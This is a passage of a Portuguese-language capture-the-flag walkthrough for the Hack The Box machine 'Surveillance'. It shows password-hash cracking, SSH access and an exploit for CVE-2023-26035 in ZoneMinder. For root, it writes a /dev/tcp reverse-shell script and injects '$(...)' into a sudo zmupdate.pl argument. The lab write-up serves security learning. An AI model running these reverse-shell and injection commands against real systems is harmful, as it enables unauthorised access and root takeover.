&lt;pre class="highlight shell"&gt;&lt;code&gt;INSERT INTO &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt; VALUES &lt;span class="o"&gt;(&lt;/span&gt;1,NULL,1,0,0,0,1,&lt;span class="s1"&gt;'admin'&lt;/span&gt;,&lt;span class="s1"&gt;'Matthew B'&lt;/span&gt;,&lt;span class="s1"&gt;'Matthew'&lt;/span&gt;,&lt;span class="s1"&gt;'B'&lt;/span&gt;,&lt;span class="s1"&gt;'admin@surveillance.htb'&lt;/span&gt;,&lt;span class="s1"&gt;'39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-17 20:22:34'&lt;/span&gt;,NULL,NULL,NULL,&lt;span class="s1"&gt;'2023-10-11 18:58:57'&lt;/span&gt;,NULL,1,NULL,NULL,NULL,0,&lt;span class="s1"&gt;'2023-10-17 20:27:46'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-11 17:57:16'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-17 20:27:46'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse tipo de hash é o &lt;strong&gt;SHA256&lt;/strong&gt; e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor &lt;strong&gt;1400&lt;/strong&gt; para o tipo de hash e especificando a wordlist &lt;strong&gt;rockyou.txt&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat &lt;span class="o"&gt;(&lt;/span&gt;v6.2.6&lt;span class="o"&gt;)&lt;/span&gt; starting
...

Dictionary cache hit:
&lt;span class="k"&gt;*&lt;/span&gt; Filename..: /usr/share/wordlists/rockyou.txt
&lt;span class="k"&gt;*&lt;/span&gt; Passwords.: 14344389
&lt;span class="k"&gt;*&lt;/span&gt; Bytes.....: 139921546
&lt;span class="k"&gt;*&lt;/span&gt; Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 &lt;span class="o"&gt;(&lt;/span&gt;SHA2-256&lt;span class="o"&gt;)&lt;/span&gt;
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Mon Dec 11 21:32:28 2023 &lt;span class="o"&gt;(&lt;/span&gt;2 secs&lt;span class="o"&gt;)&lt;/span&gt;
Time.Estimated...: Mon Dec 11 21:32:30 2023 &lt;span class="o"&gt;(&lt;/span&gt;0 secs&lt;span class="o"&gt;)&lt;/span&gt;
Kernel.Feature...: Pure Kernel
Guess.Base.......: File &lt;span class="o"&gt;(&lt;/span&gt;/usr/share/wordlists/rockyou.txt&lt;span class="o"&gt;)&lt;/span&gt;
Guess.Queue......: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
Speed.#1.........:  1596.7 kH/s &lt;span class="o"&gt;(&lt;/span&gt;0.13ms&lt;span class="o"&gt;)&lt;/span&gt; @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt; Digests &lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="o"&gt;)&lt;/span&gt;, 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt; Digests &lt;span class="o"&gt;(&lt;/span&gt;new&lt;span class="o"&gt;)&lt;/span&gt;
Progress.........: 3552256/14344389 &lt;span class="o"&gt;(&lt;/span&gt;24.76%&lt;span class="o"&gt;)&lt;/span&gt;
Rejected.........: 0/3552256 &lt;span class="o"&gt;(&lt;/span&gt;0.00%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Point....: 3551232/14344389 &lt;span class="o"&gt;(&lt;/span&gt;24.76%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: starfish789 -&amp;gt; starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E aqui conseguimos a senha do usuário &lt;strong&gt;admin&lt;/strong&gt;, que é o pertencente a &lt;strong&gt;Matthew B&lt;/strong&gt;. Esse usuário existe no servidor como vimos em nossa enumeração inicial.&lt;br&gt;
Via ssh conseguimos acesso com o usuário &lt;strong&gt;matthew&lt;/strong&gt;!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb&lt;span class="s1"&gt;'s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 12 02:34:21 AM UTC 2023

  System load:  0.08935546875     Processes:             233
  Usage of /:   85.1% of 5.91GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.129.45.83
  Swap usage:   0%

  =&amp;gt; / is using 85.1% of 5.91GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos a user flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;matthew@surveillance:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
matthew@surveillance:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
b4ddc33ff47b1d8534c59a7609b48f13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Movimentação lateral
&lt;/h3&gt;

&lt;p&gt;Agora que temos acesso ssh com o usuário &lt;strong&gt;matthew&lt;/strong&gt; vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.&lt;br&gt;&lt;br&gt;
Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
        &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; ZM_DB_PASS,
        &lt;span class="s1"&gt;'database'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; ZM_DB_NAME,
        &lt;span class="s1"&gt;'host'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'localhost'&lt;/span&gt;,
        &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'ZoneMinderPassword2023'&lt;/span&gt;,
        &lt;span class="s1"&gt;'database'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'zm'&lt;/span&gt;,
                &lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;default[&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$array&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0]&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="nv"&gt;$this&lt;/span&gt;-&amp;gt;default[&lt;span class="s1"&gt;'host'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; ZM_DB_HOST&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Estes dados são pertencentes a uma aplicação chamada &lt;strong&gt;Zoneminder&lt;/strong&gt;. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, câmeras de segurança basicamente.&lt;br&gt;
Um ponto interessante é que temos outro usuário chamado &lt;strong&gt;zoneminder&lt;/strong&gt; e uma aplicação rodando na porta &lt;strong&gt;8080&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Buscando por vulnerabilidades conhecidas para o &lt;strong&gt;zoneminder&lt;/strong&gt; encontramos a &lt;strong&gt;&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26035" rel="noopener noreferrer"&gt;CVE-2023-26035&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A CVE se trata de um &lt;strong&gt;Unauthorized Remote Code Execution.&lt;/strong&gt; Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função &lt;strong&gt;TriggerOn&lt;/strong&gt; chamada um &lt;strong&gt;shell_exec&lt;/strong&gt; usando o ID fornecido, gerando assim um RCE.&lt;/p&gt;

&lt;p&gt;Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh &lt;span class="nt"&gt;-L&lt;/span&gt; 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb&lt;span class="s1"&gt;'s password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Iremos utilizar neste writeup esta &lt;a href="https://github.com/rvizx/CVE-2023-26035" rel="noopener noreferrer"&gt;POC&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Primeiramente iremos utilizar o &lt;a href="https://github.com/calebstewart/pwncat" rel="noopener noreferrer"&gt;pwncat&lt;/a&gt; para ouvir na porta 9002:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002
&lt;span class="o"&gt;[&lt;/span&gt;21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py &lt;span class="nt"&gt;-t&lt;/span&gt; http://127.0.0.1:8081 &lt;span class="nt"&gt;-ip&lt;/span&gt; 10.10.14.174 &lt;span class="nt"&gt;-p&lt;/span&gt; 9002
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; fetching csrt token
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; executing...
&lt;span class="o"&gt;[&amp;gt;]&lt;/span&gt; sending payload..
&lt;span class="o"&gt;[!]&lt;/span&gt; failed to send payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root�kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002
&lt;span class="o"&gt;[&lt;/span&gt;21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;21:01:55] received connection from 10.129.44.183:43356                                                                               bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;21:02:04] 10.129.44.183:43356: registered new host w/ db                                                                         manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                                                                
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/usr/share/zoneminder/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-lah&lt;/span&gt; /home/zoneminder/
total 20K
drwxr-x--- 2 zoneminder zoneminder 4.0K Nov  9 12:46 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguindo assim shell como o usuário &lt;strong&gt;zoneminder&lt;/strong&gt;. Mais uma vez iremos realizar uma enumeração.&lt;br&gt;&lt;br&gt;
Através do comando &lt;strong&gt;sudo&lt;/strong&gt; conseguimos visualizar um comando que o usuário &lt;strong&gt;zoneminder&lt;/strong&gt; consegue executar com permissões de root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/usr/share/zoneminder/www&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class="k"&gt;for &lt;/span&gt;zoneminder on surveillance:
    env_reset, mail_badpass, &lt;span class="nv"&gt;secure_path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/local/bin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/usr/bin&lt;span class="se"&gt;\:&lt;/span&gt;/sbin&lt;span class="se"&gt;\:&lt;/span&gt;/bin&lt;span class="se"&gt;\:&lt;/span&gt;/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    &lt;span class="o"&gt;(&lt;/span&gt;ALL : ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/zm[a-zA-Z]&lt;span class="k"&gt;*&lt;/span&gt;.pl &lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O usuário pode executar qualquer script que esteja no diretório &lt;strong&gt;/usr/bin&lt;/strong&gt; que inicie seu nome com &lt;strong&gt;zm&lt;/strong&gt; e finalize com a extensão &lt;strong&gt;.pl&lt;/strong&gt; que é referente a linguagem &lt;strong&gt;perl&lt;/strong&gt;. Também podemos passar paramêtros.&lt;/p&gt;

&lt;p&gt;Aqui estão todos os scripts que conseguimos executar como usuário root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/home/zoneminder&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt; /usr/bin/zm&lt;span class="k"&gt;*&lt;/span&gt;.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  43K Nov 23  2022 /usr/bin/zmaudit.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  13K Nov 23  2022 /usr/bin/zmcamtool.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 6.0K Nov 23  2022 /usr/bin/zmcontrol.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  26K Nov 23  2022 /usr/bin/zmdc.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  35K Nov 23  2022 /usr/bin/zmfilter.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 5.6K Nov 23  2022 /usr/bin/zmonvif-probe.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  19K Nov 23  2022 /usr/bin/zmonvif-trigger.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  14K Nov 23  2022 /usr/bin/zmpkg.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  18K Nov 23  2022 /usr/bin/zmrecover.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 4.8K Nov 23  2022 /usr/bin/zmstats.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 2.1K Nov 23  2022 /usr/bin/zmsystemctl.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  13K Nov 23  2022 /usr/bin/zmtelemetry.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 5.3K Nov 23  2022 /usr/bin/zmtrack.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  19K Nov 23  2022 /usr/bin/zmtrigger.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  45K Nov 23  2022 /usr/bin/zmupdate.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 8.1K Nov 23  2022 /usr/bin/zmvideo.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 6.9K Nov 23  2022 /usr/bin/zmwatch.pl
&lt;span class="nt"&gt;-rwxr-xr-x&lt;/span&gt; 1 root root  20K Nov 23  2022 /usr/bin/zmx10.pl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta &lt;strong&gt;&lt;a href="https://zoneminder.readthedocs.io/en/1.32.3/userguide/components.html" rel="noopener noreferrer"&gt;documentação&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.&lt;br&gt;&lt;br&gt;
Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário &lt;strong&gt;zoneminder&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário &lt;strong&gt;root&lt;/strong&gt;.&lt;br&gt;&lt;br&gt;
Dentre os scripts nos temos o &lt;strong&gt;zmupdate.pl&lt;/strong&gt; que é responsável por checar se existem updates para o ZoneMinder e ira executar &lt;strong&gt;migrations&lt;/strong&gt; de atualização. No entanto o mesmo realiza um backup do banco utilizando o &lt;strong&gt;mysqldump&lt;/strong&gt;, comando esse que recebe input do usuário (usuário e senha) e executa comor root.&lt;/p&gt;

&lt;p&gt;Inicialmente vamos criar um arquivo chamado &lt;strong&gt;rev.sh&lt;/strong&gt; com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
sh &lt;span class="nt"&gt;-i&lt;/span&gt; 5&amp;lt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/tcp/10.10.14.229/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Agora iremos inserir no input do script o comando &lt;strong&gt;'$(/home/zoneminder/rev.sh)'&lt;/strong&gt; que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.&lt;br&gt;&lt;br&gt;
Executaremos da seguinte forma:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; zoneminder@surveillance:/home/zoneminder&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/zmupdate.pl &lt;span class="nt"&gt;--version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nt"&gt;--user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'$(/home/zoneminder/rev.sh)'&lt;/span&gt; &lt;span class="nt"&gt;--pass&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to &lt;span class="k"&gt;continue &lt;/span&gt;or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result &lt;span class="k"&gt;in &lt;/span&gt;a large file &lt;span class="k"&gt;in&lt;/span&gt; /tmp/zm &lt;span class="k"&gt;if &lt;/span&gt;you have a lot of events.
Press &lt;span class="s1"&gt;'y'&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;a backup or &lt;span class="s1"&gt;'n'&lt;/span&gt; to &lt;span class="k"&gt;continue&lt;/span&gt; : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;17:18:06] received connection from 10.129.42.193:39340                                            bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;17:18:10] 0.0.0.0:9001: normalizing shell path                                                manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash                             manager.py:957
&lt;span class="o"&gt;[&lt;/span&gt;17:18:14] 10.129.42.193:39340: registered new host w/ db                                      manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="nv"&gt;$ &lt;/span&gt;                                                                                             
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguimos shell como root! Podemos buscar a root flag!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /root
&lt;span class="nb"&gt;.&lt;/span&gt;  ..  .bash_history  .bashrc  .cache  .config  .local  .mysql_history  .profile  root.txt  .scripts  .ssh
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# &lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt 
4e69a27f8fc2279a0a149909c8ff2af4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de &lt;strong&gt;mysqldump&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; root@surveillance:/home/zoneminder# ps aux | &lt;span class="nb"&gt;grep &lt;/span&gt;mysqldump
root        3035  0.0  0.0   2888  1064 pts/3    S+   22:18   0:00 sh &lt;span class="nt"&gt;-c&lt;/span&gt; mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;/home/zoneminder/rev.sh&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s1"&gt;'ZoneMinderPassword2023'&lt;/span&gt; &lt;span class="nt"&gt;-hlocalhost&lt;/span&gt; &lt;span class="nt"&gt;--add-drop-table&lt;/span&gt; &lt;span class="nt"&gt;--databases&lt;/span&gt; zm &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/zm/zm-1.dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.&lt;br&gt;&lt;br&gt;
E assim finalizamos a máquina &lt;strong&gt;Surveillence&lt;/strong&gt;!&lt;/p&gt;

